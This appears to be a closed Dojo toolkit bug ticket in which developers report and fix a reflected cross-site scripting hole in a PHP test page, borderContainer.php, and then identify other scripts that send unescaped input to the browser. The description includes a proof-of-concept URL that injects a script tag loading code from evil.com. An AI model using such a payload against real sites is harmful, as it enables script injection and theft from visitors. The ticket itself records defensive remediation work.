Opened 11 years ago
Closed 11 years ago
#13674 closed defect (fixed)
borderContainer.php should not allow script attacks
Reported by: | Douglas Hays | Owned by: | bill |
---|---|---|---|
Priority: | high | Milestone: | 1.7 |
Component: | Dijit | Version: | 1.4.0 |
Keywords: | Cc: | Colin Snover | |
Blocked By: | Blocking: |
Description
We need to plug this security hole:
http://projecttests.customer.com/dojo1.7/dijit/tests/layout/borderContainer.php?id=<script src=http://evil.com/xss/hack.js></script>
Change History (7)
comment:1 Changed 11 years ago by
comment:3 Changed 11 years ago by
OK I fixed the places I found in tests where we sent unescaped input out to the browser. There are a few more PHP scripts in the toolkit that do it, in demos and util, but it wasn't clear whether those were really in scope here or what. I may have overstepped by fixing three files as it is.
These are all I have time for right this minute, so if somebody else wants to check those out, be my guest :-)
comment:4 Changed 11 years ago by
revin, thanks for fixing these. I also see
demos/uploader/UploadFile.php
docscripts/dumpObj.php
Are these the others that you saw? Maybe these should be fixed as well for completeness.
comment:7 Changed 11 years ago by
Resolution: | → fixed |
---|---|
Status: | new → closed |
In [26183]: